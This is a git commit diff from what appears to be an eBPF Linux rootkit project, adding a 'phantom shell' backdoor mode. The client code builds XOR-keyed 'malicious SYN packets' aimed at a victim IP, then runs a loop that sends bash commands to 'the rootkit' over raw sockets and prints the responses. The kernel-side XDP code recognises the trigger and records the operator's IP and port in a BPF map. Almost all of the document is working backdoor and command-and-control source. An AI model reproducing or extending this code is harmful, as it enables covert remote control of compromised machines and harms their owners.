Updated all components with phantom shell

This commit is contained in:
h3xduck
2022-05-09 22:06:29 -04:00
parent 5320f35d01
commit 4211d0b5d5
13 changed files with 3341 additions and 3316 deletions

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -95,6 +95,66 @@ unsigned short crc16(const unsigned char* data_p, unsigned char length){
return crc;
}
/**
* @brief Operates input in phantom shell mode.
* Returns whether the connection should keep open (0) or not (otherwise)
*
* @param buf
* @return int
*/
int phantom_shell_mode(char* buf, char* local_ip, char* dest){
int is_global_command = manage_global_command(buf, NULL, local_ip, dest);
if(is_global_command == 1){
//Already finished then, go to next command input
return 0;
}
char* request = calloc(4096, sizeof(char));
strcpy(request, CC_PROT_BASH_COMMAND_REQUEST);
strcat(request, buf);
packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
//printf("Sending %s\n", msg);
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
return 1;
}
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
packet = rawsocket_sniff_pattern(CC_PROT_BASELINE);
char* res = packet.payload;
//TODO make the shell to fork and wait for response, but accept new requests meanwhile
if(strncmp(buf, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){
//Received a response
char *p;
p = strtok(buf, "#");
p = strtok(NULL, "#");
if(p){
//Print response
printf("%s\n", p);
}else{
printf("[" KRED "ERROR" RESET "]""Could not parse backdoor answer correctly, ignoring\n");
}
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
}else{
//If at this point, then we failed to identify the backdoor message
//We attempt to send a final message indicating we are halting the connection
printf("[" KRED "ERROR" RESET "]""Backdoor sent unrecognizable message:\n[%s]\n", buf);
printf("[" KBLU "INFO" RESET "]""Shutting down connection now\n");
const char *response = CC_PROT_FIN;
packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
return 1;
}
return 1;
}
printf("["KGRN"RESPONSE"RESET"] %s\n", res);
free(request);
return 0;
}
/*void get_shell(char* argv){
char* local_ip = getLocalIpAddress();
@@ -310,6 +370,88 @@ void hook_control_command(char* argv, int mode){
}
}
void phantom_shell_request(char* argv){
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
check_ip_address_format(argv);
printf("["KBLU"INFO"RESET"]""Crafting malicious SYN packet...\n");
//+1 since payload must finish with null character for parameter passing, although not sent in the actual packet payload
char payload[CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE+1] = {0};
srand(time(NULL));
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE; ii++){
payload[ii] = (char)rand();
}
//Follow protocol rules
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
char key1[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_1;
char key2[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1] = CC_TRIGGER_SYN_PACKET_KEY_2;
char key3[CC_TRIGGER_SYN_PACKET_SECTION_LEN+1];
//K3 with command to start the command with the backdoor
memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_PHANTOM_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
char result[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
memcpy(section, payload, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
result[ii] = section[ii] ^ key1[ii];
}
memcpy(payload+0x06, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
memcpy(section, payload+0x02, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
result[ii] = section[ii] ^ key2[ii];
}
memcpy(payload+0x0A, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
memcpy(section, payload+0x06, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
memcpy(section2, payload+0x0A, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
result[ii] = section[ii] ^ section2[ii] ^ key3[ii];
}
memcpy(payload+0x0C, result, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
packet_t packet = build_standard_packet(8000, 9000, local_ip, argv, 4096, payload);
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
//Sending the malicious payload
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
return;
}else{
printf("["KGRN"OK"RESET"]""Secret message successfully sent!\n");
}
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
//Wait for rootkit ACK to ensure it's up
rawsocket_sniff_pattern(CC_PROT_ACK);
printf("["KGRN"OK"RESET"]""Success, received ACK from backdoor\n");
client_mode = CLIENT_MODE_PHANTOM_SHELL;
//Received ACK, we proceed to send command
int connection_terminate = 0;
while(connection_terminate == 0){
char buf[BUFSIZ];
switch(client_mode){
case CLIENT_MODE_LIVE_COMMAND:
printf(">> client["""KMGN"phantom shell"RESET"""]>: ");
fgets(buf, BUFSIZ, stdin);
if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){
buf[strlen(buf)-1] = '\0';
}
connection_terminate = phantom_shell_mode(buf, local_ip, argv);
break;
default:
break;
}
}
free(local_ip);
}
//Rootkit backdoor V3 being used - Hive-like
void activate_command_control_shell_encrypted_multi_packet(char* argv, int mode){
char* local_ip = getLocalIpAddress();
@@ -413,7 +555,7 @@ void main(int argc, char* argv[]){
char path_arg[512];
//Command line argument parsing
while ((opt = getopt(argc, argv, ":S:c:e:u:a:s:h")) != -1) {
while ((opt = getopt(argc, argv, ":S:c:e:u:a:p:s:h")) != -1) {
switch (opt) {
case 'S':
print_welcome_message();
@@ -469,6 +611,17 @@ void main(int argc, char* argv[]){
hook_control_command(dest_address, 1);
PARAM_MODULE_ACTIVATED = 1;
break;
case 'p':
print_welcome_message();
sleep(1);
//Send a secret message
printf("["KBLU"INFO"RESET"]""Requested a PHANTOM SHELL\n");
//printf("Option S has argument %s\n", optarg);
strcpy(dest_address, optarg);
phantom_shell_request(dest_address);
PARAM_MODULE_ACTIVATED = 1;
break;
case 's':
print_welcome_message();

Binary file not shown.

View File

@@ -22,6 +22,8 @@
#define RESET "\x1B[0m"
#define CLIENT_MODE_LIVE_COMMAND 0
#define CLIENT_MODE_PHANTOM_SHELL 0
//Global variable, specifying current client mode
int client_mode = CLIENT_MODE_LIVE_COMMAND;
@@ -39,7 +41,7 @@ int client_mode = CLIENT_MODE_LIVE_COMMAND;
* @param buf
* @return int
*/
int manage_global_command(char* buf, SSL* ssl){
int manage_global_command(char* buf, SSL* ssl, char* local_ip, char* dest){
if(strncmp(buf, GC_SERVER_CLOSE_CONN, strlen(GC_SERVER_CLOSE_CONN))==0){
if(ssl != NULL){
//If in a ssl connection
@@ -48,6 +50,16 @@ int manage_global_command(char* buf, SSL* ssl){
//We must exit now
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
exit(0);
}else{
char* request = CC_PROT_FIN;
packet_t packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Aborting...\n");
return -1;
}
//We must exit now
printf("[" KBLU "INFO" RESET "]""Connection with the backdoor halted\n");
exit(0);
}
}

View File

@@ -27,7 +27,7 @@
* @return int
*/
int live_command_shell_mode(char* buf, SSL *ssl){
int is_global_command = manage_global_command(buf, ssl);
int is_global_command = manage_global_command(buf, ssl, NULL, NULL);
if(is_global_command == 1){
//Already finished then, go to next command input
return 0;

Binary file not shown.

View File

@@ -3,6 +3,7 @@
//C&C V0 & V1 --> Unencrypted transmission with RAW sockets, no TCP conn
//Protocol messages are also used inside the secure channel of V2 & V3 backdoor
#define CC_PROT_BASELINE "CC_"
#define CC_PROT_SYN "CC_SYN"
#define CC_PROT_ACK "CC_ACK"
#define CC_PROT_MSG "CC_MSG#"
@@ -19,11 +20,15 @@
#define CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL "\x1F\x29"
#define CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_ACTIVATE_ALL "\x1D\x25"
#define CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_DEACTIVATE_ALL "\x1D\x24"
#define CC_TRIGGER_SYN_PACKET_KEY_3_PHANTOM_SHELL "\x4E\x14"
#define CC_TRIGGER_SYN_PACKET_SECTION_LEN 0x02
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
#define CC_PROT_COMMAND_HOOK_ACTIVATE_ALL 1
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
#define CC_PROT_COMMAND_PHANTOM_SHELL 3
#define CC_PROT_PHANTOM_COMMAND_LIST_HOOKS 0
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
struct trigger_32_t {

View File

@@ -44,6 +44,13 @@ struct backdoor_packet_log_data_16{
struct trigger_16_t trigger_array[6];
};
//Map value, contains data of phantom shell, if active
struct backdoor_phantom_shell_data{
int active;
__u32 d_ip;
__u16 d_port;
};
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
@@ -74,6 +81,15 @@ struct backdoor_priv_packet_log_16{
} backdoor_packet_log_16 SEC(".maps");
//Map to store state and data of phantom shell
struct backdoor_priv_phantom_shell{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1);
__type(key, __u64); //Source IPv4 of packet
__type(value, struct backdoor_phantom_shell_data);
} backdoor_phantom_shell SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted
//Located at /src/map_prot.h

View File

@@ -70,8 +70,6 @@ int classifier(struct __sk_buff *skb){
bpf_printk("PAYLOAD size: %u\n", payload_size);
@@ -79,4 +77,16 @@ int classifier(struct __sk_buff *skb){
}
/**
* COMMANDS
* sudo tc qdisc add dev lo clsact
* sudo tc filter add dev lo egress bpf direct-action obj tc.o sec classifier/egress
* sudo tc filter show dev lo
* sudo tc filter show dev lo egress
*
* tc qdisc del dev lo clsact
*/
char _license[4] SEC("license") = "GPL";

View File

@@ -11,7 +11,7 @@
#include "../../common/c&c.h"
#include "../bpf/defs.h"
int execute_key_command(int command_received){
static __always_inline int execute_key_command(int command_received, __u32 ip, __u16 port){
int pid = -1; //Received by network stack, just ignore
switch(command_received){
case CC_PROT_COMMAND_ENCRYPTED_SHELL:
@@ -26,6 +26,19 @@ int execute_key_command(int command_received){
bpf_printk("Received request to deactivate all hooks\n");
ring_buffer_send_backdoor_command(&rb_comm, pid, command_received);
break;
case CC_PROT_COMMAND_PHANTOM_SHELL:
bpf_printk("Received request to start normal shell\n");
//Check for phantom shell state
__u64 key = 0;
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
struct backdoor_phantom_shell_data ps_new_data = {0};
ps_new_data.active = 1;
ps_new_data.d_ip = ip;
ps_new_data.d_port = port;
bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
break;
default:
bpf_printk("Command received unknown: %d\n", command_received);
}
@@ -125,6 +138,21 @@ static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 paylo
command_received = CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL;
goto backdoor_finish;
}
correct = 1;
//Phantom shell request
__builtin_memcpy(key3, CC_TRIGGER_SYN_PACKET_KEY_3_PHANTOM_SHELL, CC_TRIGGER_SYN_PACKET_SECTION_LEN);
for(int ii=0; ii<CC_TRIGGER_SYN_PACKET_SECTION_LEN; ii++){
result3[ii] = section[ii] ^ section2[ii] ^ section3[ii];
if(result3[ii]!=(key3[ii])){
correct = 0;
}
}
if(correct == 1){
//Found valid k3 value
command_received = CC_PROT_COMMAND_PHANTOM_SHELL;
goto backdoor_finish;
}
backdoor_finish:
@@ -136,7 +164,12 @@ backdoor_finish:
//If we reach this point then we received trigger packet
bpf_printk("Finished backdoor V1 check with success\n");
execute_key_command(command_received);
__u32 ip;
__u16 port;
__builtin_memcpy(&ip, payload+0x01, sizeof(__u32));
__builtin_memcpy(&port, payload+0x05, sizeof(__u16));
execute_key_command(command_received, ip, port);
return XDP_DROP;
@@ -191,11 +224,11 @@ static __always_inline int manage_backdoor_trigger_v3_32(struct backdoor_packet_
}
}
bpf_printk("Payload before XOR: ");
/*bpf_printk("Payload before XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
bpf_printk("\n");*/
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
//First undo running XOR
@@ -204,11 +237,11 @@ static __always_inline int manage_backdoor_trigger_v3_32(struct backdoor_packet_
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
}
bpf_printk("Payload after XOR: ");
/*bpf_printk("Payload after XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
bpf_printk("\n");*/
//Now compute CRC
__u8 x;
@@ -253,17 +286,17 @@ static __always_inline int manage_backdoor_trigger_v3_32(struct backdoor_packet_
if(correct == 1){
//Found valid k3 value
command_received = CC_PROT_COMMAND_ENCRYPTED_SHELL;
goto backdoor_finish_v3;
goto backdoor_finish_v3_32;
}
backdoor_finish_v3:
backdoor_finish_v3_32:
//Found no valid key 3
if(correct==0){
bpf_printk("FAIL CHECK 3\n");
return 0;
}
bpf_printk("Completed backdoor trigger v3 (32bit), b_data position: %i\n", b_data.last_packet_modified);
execute_key_command(command_received);
execute_key_command(command_received, 0, 0);
return 1;
}
@@ -336,11 +369,11 @@ static __always_inline int manage_backdoor_trigger_v3_16(struct backdoor_packet_
}
}
bpf_printk("Payload before XOR: ");
/*bpf_printk("Payload before XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
bpf_printk("\n");*/
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
//First undo running XOR
@@ -349,11 +382,11 @@ static __always_inline int manage_backdoor_trigger_v3_16(struct backdoor_packet_
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
}
bpf_printk("Payload after XOR: ");
/*bpf_printk("Payload after XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
bpf_printk("\n");*/
//Now compute CRC
__u8 x;
@@ -398,17 +431,17 @@ static __always_inline int manage_backdoor_trigger_v3_16(struct backdoor_packet_
if(correct == 1){
//Found valid k3 value
command_received = CC_PROT_COMMAND_ENCRYPTED_SHELL;
goto backdoor_finish_v3;
goto backdoor_finish_v3_16;
}
backdoor_finish_v3:
backdoor_finish_v3_16:
//Found no valid key 3
if(correct==0){
bpf_printk("FAIL CHECK 3\n");
return 0;
}
bpf_printk("Completed backdoor trigger v3 (16bit), b_data position: %i\n", b_data.last_packet_modified);
execute_key_command(command_received);
execute_key_command(command_received, 0, 0);
return 1;
}

BIN
src/tc.o

Binary file not shown.